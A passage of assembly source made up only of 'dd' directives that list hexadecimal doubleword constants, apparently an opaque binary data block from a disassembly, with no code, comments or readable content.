		dd 79E773DBh, 5BC400F8h, 685ADFF0h, 0C278027Eh,	4218C8F6h
		dd 0FB308C67h, 0A3CC062Dh, 21127868h, 6078201h,	64211AE7h
		dd 3A22880h, 0DFAD457Bh, 0A0AB2B00h, 4EC90A5Dh,	0F879C329h
		dd 7000F595h, 0DAC1D98Ch, 75CA7Ah, 9A340B76h, 4CB22358h
		dd 6EBBD000h, 0BD0D023Ch, 19B2B87Fh, 68659593h,	9900FB2Bh
		dd 1A97B9Bh, 44020Bh, 385505D3h, 119CD072h, 22648503h
		dd 19BBD3Bh, 0EAD55B81h, 81FE8EA5h, 0BF3F6611h,	0B6FC0A46h
		dd 0E9C5039Dh, 8404E572h, 0E7952018h, 78A6DB1h,	0ED8BC981h
		dd 50A361D2h, 0B1DBE452h, 46841E01h, 27F4F323h,	0F2ECFD8h
		dd 9998CC5Ah, 0DDA243A0h, 3B000CE7h, 21C6870Dh,	8024FCh
		dd 2C1BFB8Ah, 6E0336E5h, 1EB9E600h, 0D2F7B3DCh,	84FD02CAh
		dd 0F9EB723Bh, 201BE02Fh, 7B7D3FB0h, 592F18C5h,	0C398A0C0h
		dd 38179001h, 0C8951D91h, 0F0EBB980h, 18896139h, 5A360900h
		dd 51F8CEDCh, 0AC0850DDh, 98E8A040h, 0D0300A3h,	0E7EDC0B0h
		dd 6148B59h, 2288B379h,	6749F89Ch, 0C67571CBh, 2C0099F2h
		dd 0C1D5F43Bh, 0F06EA5C8h, 806FEA0Bh, 627445C2h, 80762E3Ch
		dd 2BDA57F2h, 0C034A6A4h, 2D3FC568h, 6C00F60Ah,	658F05D8h
		dd 7C9BC92Ch, 7D7F0B6h,	60F47564h, 7F93C1F8h, 0CA589359h
		dd 0B48B0800h, 1CBBA580h, 4F171A1Dh, 3D00AD85h,	5A21DE9Ch
		dd 4E37A000h, 0CAAC6DAh, 0E1713FEEh, 457F7C00h,	80CF4473h
		dd 60C9FD60h, 2057D85h,	1295A9E5h, 0C08482F1h, 82C40D6h
		dd 0C3EF81BBh, 49897411h, 0D91B7C8h, 34C6EA00h,	0B21F083Bh
		dd 0CF0B0240h, 2BCA0AFEh, 8DEFE482h, 0C81A8420h, 7E10008h
		dd 1B4DD8CEh, 3C05DAACh, 95D9F9D3h, 800C081Fh, 2FB2909h
		dd 3E395E1Eh, 0F0A0CA95h, 0DF6F9662h, 75A09907h, 9C40D242h
		dd 1F277C87h, 1565CA16h, 5B00C401h, 2B6E840Dh, 72007671h
		dd 41E4E04Eh, 10ED84Dh,	23E7E344h, 0D0BFD9F8h, 2605F25Dh
		dd 0B63233D3h, 0FADB0840h, 0B8162Ch, 0BA3ACF77h, 60CC7B33h
		dd 0F760E67Ah, 97DC3E99h, 0F6C91958h, 20FB8162h, 614A314h
		dd 60EC1B2Dh, 0E4E8E019h, 74581E9Eh, 0F43E1401h, 453F7522h
		dd 9C5400B7h, 31B96EC1h, 22416E2h, 0B30C0006h, 10BB982Bh
		dd 69EAA000h, 0F5FA722Fh, 41706093h, 33CF23F4h,	24DABD00h
		dd 0F027ADCDh, 4B0100E8h, 0EFFC2F2Ah, 11604379h, 994C8738h
		dd 0A57730E7h, 79A2DF41h, 201FC733h, 200FAF31h,	95B49950h
		dd 0E1F1C3CEh, 8490DD6Fh, 5D00EC10h, 0E67E488h,	24D5C2A6h
		dd 0C8CF0E9h, 0AC31FD95h, 0BD744F00h, 94E1A2E7h, 0ED330346h
		dd 0F95EF579h, 5BCAC010h, 942CF300h, 0BA1C8272h, 0A49833F0h
		dd 59E810F7h, 720E0078h, 1AAB55BEh, 9B015832h, 2F0610E9h
		dd 0E8442A73h, 0D21BCC21h, 0AE2BC48h, 0EE58E430h, 74C90CC0h
		dd 48004919h, 45A40BBCh, 1C5205h, 59048BEAh, 0A79A4F65h
		dd 4DCE9600h, 0F5C8BC58h, 8039C470h, 0FB3490E2h, 0C300051Ch
		dd 9BCE90B4h, 6051A5h, 0A2A8275h, 4D62D579h, 0C84CE21Dh
		dd 8C407C12h, 993E44FBh, 0BEA01DFh, 38AAECADh, 3379D0A0h
		dd 0E0C07651h, 0E09981BEh, 0EE4D0700h, 53E91D2h, 9024FBA0h
		dd 5ADC4B68h, 22457880h, 0B502DED1h, 392437E0h,	0E33C86A0h
		dd 0BE9000B9h, 11541C76h, 9100A8F3h, 0BF679314h, 337286A5h
		dd 9571FCECh, 0E7A440ADh, 85FBB414h, 19A14E00h,	0F75D332Bh
		dd 617C3046h, 0F4E47348h, 72E739C2h, 948209C1h,	44E06106h
		dd 0F3062C13h, 9A0D68A4h
		dd 218C0628h, 39FA8EA6h, 76B38A00h, 75D6803h, 0D25700Dh
		dd 0C995F9EEh, 31C3D089h, 0A500C598h, 5EDA1F11h, 50758FB0h
		dd 5492D00Ah, 13B887Eh,	28465F24h, 0FCD6C8E5h, 84E6CBFFh
		dd 2270F900h, 349E748Eh, 0C870CE8h, 41B1CF45h, 713DFFE6h
		dd 73101367h, 2BF09C09h, 6C000844h, 0CCF09949h,	2EAB13DCh
		dd 7C60A7h, 0C85D051h, 8007781h, 0F92FD7D9h, 30725879h
		dd 85F1EAE2h, 0B1C5B992h, 0D05F602Bh, 0A5D37180h, 2C7407B2h
		dd 84F961h, 3A5CA88Ah, 9212E5E8h, 0B060AE72h, 0F60A4h
		dd 268EC77Ch, 17693D5h,	20C59932h, 4846275h, 0D40F1A4h
		dd 1C4634EFh, 64105Ch, 7533A08Bh, 60A34096h, 0EE73A1F8h
		dd 0C824E2CFh, 8329CFBh, 7064C9h, 1066037Bh, 4C4F0E44h
		dd 38055277h, 8BF79168h, 0EEB7B080h, 6474F206h,	0C89079F4h
		dd 11FA3174h, 0D5B8DBE8h, 0B77D6800h, 0D9FCA60Fh, 763B2616h
		dd 174914Ch, 1206DFA2h,	0E46071BBh, 0C119DE65h,	18E438E1h
		dd 0E54628Eh, 20F851ADh, 3BBD3964h, 71B23FB1h, 0C26CAF81h
		dd 603C0815h, 0C92E2D00h, 0FB40B04Ch, 4ADEA7Bh,	8992A3E6h
		dd 40FCC006h, 3B7436B0h, 0C7F28600h, 452D7CB8h,	846852C8h
		dd 40DE8100h, 12199737h, 96A4AB00h, 45E210D1h, 291C90F6h
		dd 11F47D1Bh, 3F4C0169h, 35C44F9Ch, 0C706F8h, 0FBF011D1h
		dd 0BBCFF115h, 0F47C8400h, 68257486h, 0E180FB8Eh, 44C67DE0h
		dd 81023199h, 23733CCAh, 90DC9965h, 1BE48407h, 0B88ED708h
		dd 0F17CE721h, 206F4842h, 0D8BCC3E1h, 2CC9AB00h, 50290887h
		dd 4C91C8h, 0B9593185h,	0EF740FE8h, 89753000h, 72F6EEBDh
		dd 17FA12D3h, 23C02093h, 0FE04BB63h, 0D9DB773Eh, 0B9373FC0h
		dd 1F1F61Bh, 0F33AADA5h, 805D8635h, 84B35861h, 0B0D0EEC1h
		dd 68A551D4h, 0DB8CC410h, 0D9A33E0Dh, 0FBBDA080h, 6BC83B2Dh
		dd 3DF0C588h, 780C9F4h,	100DD4CCh, 260375DAh, 0C8C29DDEh
		dd 7B512E74h, 12E416B0h, 0FF5C08E0h, 0A8C0E84Eh, 0B769132Ch
		dd 0C8C44668h, 3D00696Dh, 58426C17h, 881535h, 0C616395h
		dd 5B87738Eh, 260744B0h, 5AF848ABh, 960DFBE0h, 0CB76007Ch
		dd 0E08B406Fh, 3B00C099h, 66A58175h, 5C723884h,	898E98E6h
		dd 0D6D5380h, 2E3960D4h, 3FAD1DCBh, 3005E53h, 971015C1h
		dd 0C8801B16h, 85E89977h, 83738152h, 0C6389500h, 9D74B90Fh
		dd 7DDC006Ch, 0E8548F2Bh, 281659F5h, 0E8606EA4h, 3D4BCFh
		dd 75583433h, 0FDF2FF1h, 6401F6F0h, 79E80BD8h, 94335B0Dh
		dd 71F8A604h, 0C2411E77h, 0F7E4D814h, 8F1B3086h, 80309965h
		dd 853FD9E6h, 0F26700A2h, 0B768882Ch, 663A5FFAh, 347A80DBh
		dd 0F601324Bh, 361B00EDh, 6FE0CB77h, 0D07BBE6h,	8BD65EB5h
		dd 0D29BD920h, 0C0B3017Ch, 0CAA4403Ch, 0D51CECADh, 4EA6A003h
		dd 8835F6B4h, 0A6726898h, 0B02C58F0h, 0E8767848h, 5779145Ch
		dd 0C908F013h, 6A890C42h, 93AC9074h, 14F1C0CDh,	330EDCA8h
		dd 76CB911Fh, 7C226E96h, 3A852026h, 609681A3h, 0A49AB080h
		dd 95C5A0Ah, 86F0C89Dh,	0F6001464h, 0F84EA725h,	352A35Bh
		dd 0A5AD3061h, 4103E781h, 0B3F1505Ch, 5EA20EC3h, 7741A3ABh
		dd 0FE72591Eh, 29C89463h, 58052322h, 813A86EFh,	0F838BC00h
		dd 1890D02h, 802D44F4h,	627F68A0h, 4BC90C00h, 0B8948966h
		dd 0D8600798h, 0AACD2924h, 92243AE4h, 4C6D9FC4h, 42CC316h
		dd 0F745170Ch, 121F081Ah, 885E3CE8h, 8B0058D0h,	4CDC7916h
		dd 7B6A67h, 537119F1h, 8E322855h, 0D8258A00h, 2B067584h
		dd 2D4A306Bh, 7FA9DD10h, 656F3C06h, 9081C0Dh, 0EAEF799Ch
		dd 0F00F064h, 53CA68D1h, 39213AEDh, 43007ABEh, 290A6FE1h
		dd 6200D210h, 30A5F62Ch, 0ECD9DB7h, 0C42BFEFBh,	0A4907580h
		dd 48B194F9h, 9374DE07h, 173211F0h, 0B64C002Fh,	0DCA51504h
		dd 0E816F619h, 0F430A97Fh, 2AE4CEh, 5EF9DA8h, 0DB7F8FE9h
		dd 66ED0E00h, 0C7EDD41h, 0A648013Eh, 4A61EAA0h,	413021B4h
		dd 30897990h, 16886258h, 0CB0701BDh, 86348FEEh,	58198259h
		dd 69CE7D83h, 0A2044F84h, 52500010h, 6F0D3FECh,	0C9D1E08h
		dd 0C58B8982h, 0DBA87000h, 0D400B49Ah, 0CC2D5152h, 4D786BC9h
		dd 0B45C6C56h, 97D30F80h, 39255155h, 1B20901Ch,	47F700B5h
		dd 0D6D4DD2Dh, 5300BBD8h, 1F75BF02h, 95CF3DEh, 0CB40C894h
		dd 4FE76448h, 0AC010C99h, 40AB8FD1h, 30D2AED4h,	73884263h
		dd 2227868h, 806C96C3h,	1EEB86Bh, 0A90070B9h, 0A1BDCB6Ah
		dd 0C40348h, 94048559h,	0AA07929Ah, 2967E777h, 10ACA239h
		dd 8579C0CCh, 7C7411B8h, 9D300601h, 99CEE572h, 2C816429h
		dd 0F44A1534h, 0C70B2A09h, 846F0650h, 0D5427128h, 8260D18Dh
		dd 5D00D97Ah, 0BCEDEB2h, 0DA1983h, 0B3EE6E8Ah, 0E3EA729Fh
		dd 0C9619864h, 837EEC40h, 242499B6h, 0CD004FF5h, 0F34A969Ah
		dd 40454A29h, 87C81B7Ch, 0CF03FFD7h, 801A9D58h,	0E1110B84h
		dd 381823E5h, 0D276A58Dh, 0D7C6900h, 0DD977B4Ch, 73DF043Bh
		dd 0F005C19Ch, 0FBEED318h, 2A5802F6h, 42C8C0C4h, 7AC55DE6h
		dd 14BF0069h, 1512C6Bh,	70014753h, 1BBA5CAAh, 0B870D8C6h
		dd 0F758135Dh, 8D9C0898h, 0BD82F080h, 7264536h,	2BD59C7Ah
		dd 23F870B7h, 8351E6A6h, 0EF64300Ch, 2360E09Eh,	115C19h
		dd 262DA2F6h, 3E34D1B3h, 0B601E4B8h, 0E431A509h, 93D38D2Bh
		dd 0E7F9C095h, 3E10911Ah, 2E80F0D8h, 0FCC6FFBDh, 667C8000h
		dd 0BE163C7Ah, 2F6704A9h, 43F3EC72h, 8DF97D1Eh,	0C1CF9009h
		dd 0F069BAB8h, 84825800h, 932C3F18h, 2380F09Eh,	64376306h
		dd 8E7F1CB9h, 510C98A0h, 8D06182Ch, 0C305E7C0h,	58A30231h
		dd 7CE99B0Eh, 20CAE47Ah, 62115C76h, 25D3EF0Eh, 82CCBD00h
		dd 8B489C4Eh, 219732A0h, 0ECE480h, 130B73B2h, 70503DF1h
		dd 0F6218415h, 94893F30h, 8BCCDCBEh, 66780075h,	5C7A849Ch
		dd 7722EC31h, 1C9CE8FCh, 5C80ECA0h, 4A5C37B2h, 0E99600B6h
		dd 0E6C80D40h, 0ABC00292h, 31819B2Ah, 0A8F6B8E0h, 472434B0h
		dd 49169021h, 0E7729C81h, 2C00F42Dh, 146CD81Bh,	67DADCFh
		dd 4068465Ch, 6C967484h, 33075BE0h, 0A1901CEh, 9BE478BFh
		dd 30D42029h, 90519E67h, 94398Ch, 8A14B736h, 93011009h
		dd 360D01Eh, 168D1740h,	5467940h, 80D9BCF8h, 34D808EFh
		dd 40009345h, 0E8D0E7EEh, 94C000F4h, 7E1A37A6h,	815CB9CCh
		dd 80BC8B4Ch, 54A43D76h, 46B000AAh, 72E197B7h, 69FCE710h
		dd 56323F04h, 6CB13B25h, 6168088Bh, 168C1460h, 7813861Fh
		dd 8DDB4300h, 64E2729Eh, 0C285D9BCh, 0A0809D60h, 0BA7536F8h
		dd 11A74025h, 0E80292D8h, 0A4FBC820h, 0F04B0003h, 732E0657h
		dd 0BE4FD92Dh, 0D5056C40h, 0ED47F64h, 0FC753D60h, 5C149181h
		dd 73F881ABh, 86844567h, 0D883E3h, 0E430E068h, 3B4C49F9h
		dd 8529F80Bh, 0EA0C882Ch, 93920C2Ch, 0B0CA0CD3h, 1F64212Ah
		dd 0C045056Fh, 508B7EBAh, 6C06EAADh, 0CB736897h, 0B44B639h
		dd 301092BFh, 5F00C35Dh, 0C2086E80h, 0B98D403Ah, 0E1B130C4h
		dd 0D64873B9h, 7C05115Ch, 0ACA02B25h, 0AB397AC1h, 7D623400h
		dd 96BDF7B0h, 320F00E0h, 2236640Ah, 0D8099B46h,	4397A6h
		dd 3ED07352h, 51BB3C0Ch, 0E1BBD1Eh, 58A0EC2Bh, 72421EF9h
		dd 7C20304Ah, 92AAEBh, 8D28E9B1h, 0E1884967h, 0A02B0502h
		dd 406B8BD9h, 0D2F6DF50h, 9EB8C830h, 0D2BC2600h, 28C7B3A3h
		dd 5D7F01ECh, 6040C9E7h
		dd 807C298Dh, 70C7F8CBh, 57F200B6h, 327DCACFh, 0DF17C5B8h
		dd 70035D95h, 22FB9640h, 0BE00E739h, 0A5FC0874h, 0BECF658h
		dd 2F6B2A81h, 0C8D27010h, 0D8BD68BEh, 0CEA511F4h, 7A8692Ah
		dd 67587F4Eh, 30CC174Ah, 0BA30B041h, 0E02C40CAh, 285E00BAh
		dd 0AD388554h, 0C29B00E6h, 0C7F7060Ch, 0D2CF860h, 0DB41F044h
		dd 0A180E181h, 0DE207D72h, 34003EBDh, 7E6DB82Ch, 2D208h
		dd 31126A84h, 2DD854C2h, 0E827404Bh, 455480E9h,	2D217322h
		dd 0D810B2D9h, 40846581h, 2C17F9E8h, 0DC08DA54h, 703887CEh
		dd 888E8089h, 450079FBh, 4A54132Fh, 3A0DDB9h, 2D3FBBF8h
		dd 0E7F41F7Dh, 0DCF92490h, 47CF7140h, 4EC91810h, 606A7961h
		dd 3800D4B1h, 0C889A4A0h, 107C504Fh, 6098917Eh,	354062C6h
		dd 2042BA2Eh, 68805E1Fh, 3FDA828Dh, 0E28A3E4Ch,	6EAE7D89h
		dd 6276CC99h, 0C8753B74h, 0F2958618h, 0D4D60061h, 94CEBB73h
		dd 624C09CAh, 9B4A1B20h, 0E2D0A2A1h, 3308222Ch,	5920E0EEh
		dd 0F4D4A48Eh, 0C05F00F9h, 0C91E32B7h, 0D3F47CA3h, 209B9F2h
		dd 80C614ADh, 0E6910D38h, 162D0325h, 584334B1h,	9960DF97h
		dd 1DBBD98Eh, 0A300ACF4h, 746BDE1Bh, 0F039A6A2h, 68590C11h
		dd 0C9B9F060h, 4466F625h, 30185CA8h, 0B5A3184h,	0CFC068C8h
		dd 0DAE50009h, 0AB3E329Bh, 0E874B201h, 0BC03A47Bh, 290755C1h
		dd 71449048h, 0D30E0056h, 8F64235Bh, 0F5A01C8Bh, 413D2813h
		dd 0EFDC82BEh, 0F37E6379h, 0C537008Ch, 622922E1h, 0B303A27Bh
		dd 0FC4F9D9h, 6968A005h, 4013E4ECh, 4C4BC976h, 0D4179024h
		dd 8CE004C8h, 8F47AB27h, 0DC0193ACh, 0F16768A7h, 8859844Ch
		dd 5E4E2E94h, 96C32841h, 247DD47Bh, 0E08C2197h,	4874C001h
		dd 51483FF8h, 6FC700ECh, 7735FE5Fh, 3094129Fh, 0C148871h
		dd 0D7665807h, 605F9585h, 747031EEh, 42222DD8h,	8F435CA0h
		dd 0BB0B1357h, 6EA8D02h, 7115044h, 925AE2F3h, 0A05ABCBh
		dd 597400E5h, 68916B5Dh, 0AA5CA001h, 0F08A4EC8h, 20812092h
		dd 36D9B8ACh, 5C915Ch, 0D5C6CB85h, 836601h, 0D9C0839h
		dd 0DE4B959Dh, 0E373DB17h, 85162430h, 55FB022Fh, 5F29F9E7h
		dd 40879492h, 1912001Fh, 407B9DD5h, 11111E62h, 0E2486138h
		dd 6B0F6410h, 466D3300h, 4A931FEh, 0A5CC00A2h, 0AB5FCB68h
		dd 60B523Dh, 4941184h, 448C1C85h, 78230082h, 65A51513h
		dd 0B4F04F0Eh, 4E012FB0h, 0F6FAE319h, 24603D69h, 0BCA65Dh
		dd 365C4D10h, 6D350A9h,	44BA3E14h, 35230990h, 0E88EEF6h
		dd 723B853Eh, 963AA2C2h, 0F1E94CC9h, 6B32EC2Ch,	8CD16162h
		dd 0F46CE13Bh, 0E7C3D110h, 0CE1CA102h, 54FD5275h, 0E4D0C12Ch
		dd 58344187h, 0E2529696h, 841A7088h, 8E1DB2Eh, 7D80A418h
		dd 5E08C0D1h, 732DDD04h, 0E0455F00h, 7B139338h,	91A00EBDh
		dd 63034775h, 3901F311h, 0F069C159h, 0F3C83Ah, 8EBFB79h
		dd 3F51DE5Fh, 7A58A03Fh, 0C874A349h, 0CDF88071h, 0FE84699Fh
		dd 0A1A56C01h, 0EDBE0A2Ah, 0FAD9CCC0h, 44F65880h, 0DA1D3C23h
		dd 30595832h, 0D24C9F38h, 5976C0A0h, 699A072h, 841DF137h
		dd 0A62091A3h, 35DD00E4h, 0DFB19775h, 0B7076AA0h, 40AD8F7Eh
		dd 0C8F04CA7h, 1F920D1Dh, 17C4D3h, 52AB4C0h, 7F2E658Ch
		dd 9025C0DCh, 0ED7900h,	0EBCA68FBh, 0C81E7D44h,	845EA63Fh
		dd 0BF3E8E8Ah, 76688813h, 0ABA9F300h, 7AC0BB72h, 0A5B00BD2h
		dd 1A80D092h, 0EF9176BFh, 0C2F31318h, 5BE875F9h, 0CA5825E3h
		dd 556A00B4h, 4C86EEF0h, 2632FA19h, 0E934EC7Bh,	4B684C04h
		dd 9EC0E880h, 61E40FD8h, 33A03269h, 6BDA1822h, 0A4C94E17h
		dd 899AF80Ch, 0E6A20E0Ah, 0DAA064AEh, 9E433BD1h, 4FC90C1Fh
		dd 0E3670A21h, 77E80838h, 0B640E544h, 28A1C383h, 67A26400h
		dd 5AF8E4AFh, 40A00170h, 432FB7A4h, 0ED1C3041h,	2B836007h
		dd 4585AEC0h, 80D0812h,	0D42129B6h, 0B1802472h,	0E1D212CFh
		dd 0D42D1800h, 0B5D94972h, 0A66105DBh, 0C97B688Eh, 0D18060ECh
		dd 0E0A6C3EBh, 68E6906h, 98B0433Dh, 0AC08025Ch,	0DDC88325h
		dd 0F10C7482h, 8859EA10h, 54743C94h, 84DD800h, 9373866Bh
		dd 843112B2h, 43C8D013h, 0EC00D865h, 0D3DBB05Fh, 900D4568h
		dd 37D002Ch, 843E16A1h,	8009B0Bh, 340F20F3h, 3D6A454Bh
		dd 3A802B1Dh, 7328F93Fh, 0C700D6D2h, 5E755FE5h,	2624A660h
		dd 4008C838h, 0EDA2E4F2h, 8A4ACC01h, 3BD9F84Ch,	0BCEB440h
		dd 0D5090576h, 25DEB0BDh, 0DC08308h, 0C71F8698h, 43B9CF00h
		dd 6B39A4Bh, 9877397Bh,	0E784045Bh, 4D2C40E0h, 0EE97DAE1h
		dd 19820CB9h, 67301EB1h, 266C4820h, 0C3390F8h, 0C1107E7Ch
		dd 0A3786A12h, 0E9C9F044h, 1E728CCh, 0AAEF2541h, 31A4383Ah
		dd 0A82264h, 0E64A03A2h, 594D98Bh, 7A68A0AAh, 88C853E0h
		dd 915F0584h, 6400B7BCh, 0B8B10A6h, 40480244h, 1E540062h
		dd 3FC36D2Ah, 1972146Bh, 922EF8F9h, 8DA04F20h, 0E9C47118h
		dd 664EC900h, 9383A6E8h, 13DC790Bh, 0A4098EB7h,	77214E1Ch
		dd 65F82C59h, 0DFFC2071h, 0AA0979A3h, 12F507E9h, 4871ACh
		dd 0B09E0B74h, 2126AB4h, 0A0DC41FBh, 729D00EEh,	832C3136h
		dd 8690586h, 75C460D6h,	55B701F9h, 26D1CF79h, 830CF0A5h
		dd 30E44348h, 40388918h, 3427E86h, 1B2D2A54h, 0F0DFABD6h
		dd 35BB6675h, 0D3FFB901h, 0A2901A30h, 10AD1CCh,	0E65FB516h
		dd 0D881B7B2h, 31589B3Ch, 0C0884A6Ch, 68F800EFh, 8DC71A5Fh
		dd 0FD003844h, 97A6049Dh, 0B74A996h, 0B90A2632h, 41C23840h
		dd 2DA339h, 8211BCECh, 0B03B3013h, 0E7BB041Ch, 98F92B99h
		dd 0BF124668h, 0CCB1C3FBh, 1DA324D2h, 723570A8h, 4C1031E8h
		dd 0A16FDDh, 0B1352DF8h, 73F71CD7h, 0A3D4413Eh,	796068A6h
		dd 0E384268h, 23D7D083h, 0C0B50D14h, 3C450B0h, 8095E0A1h
		dd 238A2924h, 0CF7F9460h, 4FE85CFBh, 0E7B8330Eh, 3885C07Bh
		dd 0B132BDh, 8C3D18FBh,	0D4A2400Fh, 220008F8h, 0B5DAA68Fh
		dd 0CBEE4Dh, 3B5489D8h,	0D573F905h, 860DFD0Fh, 0FF2AE061h
		dd 1EEAAB41h, 5930639Bh, 818E3091h, 0FB0B09B0h,	0F89FFAD1h
		dd 6C94949Bh, 25593909h, 886B0900h, 0EB0134D6h,	53413F81h
		dd 0DCD5F68Dh, 3A082DDCh, 3400F79Bh, 934D1962h,	0B9006CCCh
		dd 0C92431E5h, 5AD0EDBCh, 121C12E0h, 0FDC80018h, 89210FF7h
		dd 0FE4C7C01h, 92683FE3h, 0DD000036h, 19E6B1E7h, 9B48F5FAh
		dd 85AA1194h, 0CA7611h,	0A04F68A2h, 242D31B0h, 12D03CCDh
		dd 24B08AD4h, 69250490h, 0C28A20Ch, 8018DA87h, 0D7A7F4ABh
		dd 0CA735602h, 0C09E1B88h, 24BDC7F9h, 246166h, 0C5068A41h
		dd 0E31872B4h, 89408070h, 66840026h, 90BE6B13h,	34751AA9h
		dd 1270E61Ch, 0A39AB9C2h, 0D4844016h, 44F490FDh, 3601C6C0h
		dd 19935942h, 99D48FDCh, 10F73D94h, 44A0952Fh, 0FC3BBE74h
		dd 4492E600h, 0A88D7DD5h, 0B79F0024h, 76575F5h,	5D5C8945h
		dd 2F86C0B4h, 0CFE9679h, 0DCBE43EEh, 8D0B5B19h,	166FE995h
		dd 85381FFCh, 7C4F80EFh, 26C9FED1h, 442D5325h, 56921D74h
		dd 0ABD20149h, 3E434622h, 0D6A2070h, 4EC0A4FEh,	888AF7h
		dd 0EE245691h, 7FE11034h, 6FF900DCh, 84D65C12h,	581E64CCh
		dd 0A70F282Fh, 0D38540B0h, 0F4C83E8Ch, 4827717h, 0E79DBB5Bh
		dd 0A214A41Bh, 0A842D724h, 669C3160h, 3CA938E1h, 659D480h
		dd 0E072B0F4h, 0E70A44B1h, 30286C70h, 5A2D9084h, 1834A193h
		dd 4820865Fh, 20330030h
		dd 96CEF170h, 2100FE03h, 0F9E58526h, 964E05CBh,	4F454064h
		dd 0DF28FD62h, 8C24A2A4h, 1027E8A0h, 1F8E64h, 4E64A8FBh
		dd 1ED61A9Bh, 0E4FA11CBh, 0D80A0048h, 3C61D3B8h, 22018A89h
		dd 0A7DD94B5h, 8A4A410h, 98D1160h, 79A35C84h, 0A1940004h
		dd 11DCF13h, 941B922Eh,	39381900h, 0B830A00Eh, 2CF65Ch
		dd 964006E6h, 13753CCAh, 580989E4h, 0F838F666h,	5E87584h
		dd 0F3C92D5Fh, 0EFE82271h, 60249322h, 0EC81F950h, 22B70050h
		dd 0CBD88458h, 7409440Fh, 667A5465h, 0D3C94B10h, 0A6D897ACh
		dd 86003DB8h, 4480E7ADh, 4C724CB0h, 564B0CE5h, 910013B4h
		dd 0C0DB8364h, 0E498148Bh, 0EE0570BCh, 10A21A92h, 0F71F404Ch
		dd 2CD8C04Bh, 0E4D0EFDCh, 0ADEEB105h, 1416801Ah, 92CCC010h
		dd 943858B4h, 7F234E10h, 4AB0F5A9h, 0C3F1E5Dh, 7A5E3078h
		dd 23C3866h, 7F05F64Bh,	0DC7E3ACEh, 1CB23513h, 24F8A484h
		dd 0E0050CF2h, 0B8F38E8Dh, 0B8E800D3h, 0BD91D946h, 737613h
		dd 2193EEBEh, 0A6307585h, 0D2B0600h, 0A744C1B6h, 8B40022Dh
		dd 0F2EC3BFCh, 0E43290F8h, 57DF8B3h, 1DB420C8h,	0A0010C51h
		dd 0E8BEBA9Ch, 283B4F7Eh, 0DE4EB370h, 898DD84Bh, 0A51C63F0h
		dd 29F29CC2h, 34E79C84h, 609E44B0h, 0B91611A1h,	60E97DEAh
		dd 3B0A72D4h, 2CF7DEB0h, 0F9588E00h, 0E8DB4048h, 0C8AB003Dh
		dd 4BB27436h, 234C2AA9h, 34CA4EB0h, 4E7771h, 2D0FEBF1h
		dd 78D36241h, 79A85A53h, 0B8B9C400h, 913CE5B6h,	9ADE0766h
		dd 0C058CDE0h, 4B34BD76h, 5FA12101h, 45A72B13h,	1BBF560h
		dd 393A2E52h, 2B932C04h, 0D4281C40h, 1302B6B3h,	0F0A84EF9h
		dd 0A8983BD8h, 0EADEBC04h, 2CBC8D6Fh, 332E8400h, 73FD7A1Dh
		dd 60D957h, 80054732h, 172A1274h, 0A1A2419h, 4EC05F0Dh
		dd 0B3C50380h, 94024E12h, 0A05EAB2Eh, 741CE028h, 0CA4484FCh
		dd 4C879D9h, 729BCD50h,	803CEC5Dh, 1E90447Fh, 0E5530073h
		dd 5A0FCAECh, 0BB05611Fh, 2201433Fh, 487598B0h,	9F08A0CCh
		dd 0BF648A1Ah, 982F5D08h, 9C9284F8h, 0C65E802Ch, 0AD6B9518h
		dd 7AE99301h, 0D89BECCEh, 0A723C038h, 97AB4082h, 1E40E013h
		dd 0C836001Bh, 0EFF83BEAh, 0B249E4E0h, 7087F4E4h, 31958098h
		dd 80C0BE25h, 4383B001h, 0A0BAF80Fh, 4C6B30FCh,	7D9C1860h
		dd 290EC35h, 8D1A9EA8h,	0CF50066h, 0B380801Fh, 0F6ACEE16h
		dd 9941D420h, 4D578F8h,	6E9BDD47h, 3A0EC54h, 0FF4D1EF9h
		dd 3159A05Ch, 2498B05Eh, 1678B028h, 3B90B2DCh, 6A0580F4h
		dd 4EE16192h, 3AF38B0h,	9C0E3380h, 888E0602h, 0EC327E4Eh
		dd 40C625CDh, 36725624h, 24004232h, 0F97FB08Dh,	0BFE1BBh
		dd 21D8B948h, 22F5B1C7h, 2CD1733Eh, 1AA7D0A3h, 0B79CC090h
		dd 2AAD5C5Ah, 0F9D03509h, 60434431h, 0A001243Fh, 409D8D5Ch
		dd 11800BA4h, 53863811h, 0BA02A5FEh, 78DF87E6h,	0B14461C3h
		dd 4834E6DAh, 844FCEAh,	70CE058Bh, 0B3C72225h, 40C91DC4h
		dd 736A2971h, 0E2A8522Fh, 994A2C6Ch, 0A10D4D00h, 46B167Fh
		dd 74EC53CEh, 2D1CA345h, 18681973h, 4A00B476h, 0C152AFD4h
		dd 1E01C91Ah, 0B66A6DCDh, 66E05A9Ah, 1DEA000Dh,	6B9B4B85h
		dd 0F5F62AB3h, 73402094h, 9C62285Fh, 40764548h,	0B10683D0h
		dd 1B621AE7h, 0D85FDF31h, 8D0E2084h, 4A2CFB4Ch,	1B900D0h
		dd 42CE00D7h, 384E439Bh, 489C53CCh, 0C74FE140h,	790701C6h
		dd 0A5A41E51h, 75E0D469h, 0B90A2D0Eh, 0AD3B6045h, 3A96ECh
		dd 0F5CDD5E8h, 77E76EA5h, 0EC409094h, 0F61184h,	0E47D2DA9h
		dd 68257AD6h, 8A0DF900h, 0CF324109h, 1D0E399Ch,	0E7066785h
		dd 0F46CBC05h, 0D548E800h, 8DFA40h, 25696F3Ch, 0E045A69Bh
		dd 8571B30h, 0E5E51154h, 0AF801C28h, 50BBF7B9h,	9D954A13h
		dd 6487B04Bh, 962800B0h, 0DA586994h, 7312D281h,	0CD07E05Ch
		dd 8007418h, 936664Ch, 0BBE430EFh, 0A33D58BEh, 43D089D1h
		dd 2E8515Fh, 1BBC761Dh,	0DD12A7E0h, 0F85DDF03h,	88A00D41h
		dd 0FCCDB379h, 931C98F5h, 0B69180B4h, 48154AC8h, 1498F678h
		dd 0BC962B4Bh, 2C254411h, 0E844C925h, 4A173628h, 3E74813Bh
		dd 4CC9014Eh, 80F44B3Bh, 60EAB810h, 0BC2CB6FCh,	67406892h
		dd 4DBA23h, 1E3BE1D7h, 5B89782Eh, 0FE6A2600h, 2B35BE3Eh
		dd 848E531Bh, 0A3800059h, 0E3CAB7F9h, 9031E014h, 828F83C8h
		dd 0E99BA1D0h, 2DC4A0A6h, 67878C10h, 0E60326E4h, 9008892Bh
		dd 0DA293C8h, 0EA7BF860h, 0A2D03830h, 1450299Eh, 2528BB05h
		dd 91814F6Bh, 0F822514Ch, 0E29F3800h, 6A52930Dh, 0D0357426h
		dd 77FF6106h, 7A431221h, 44C488BEh, 0D30EED00h,	0B7FB9A04h
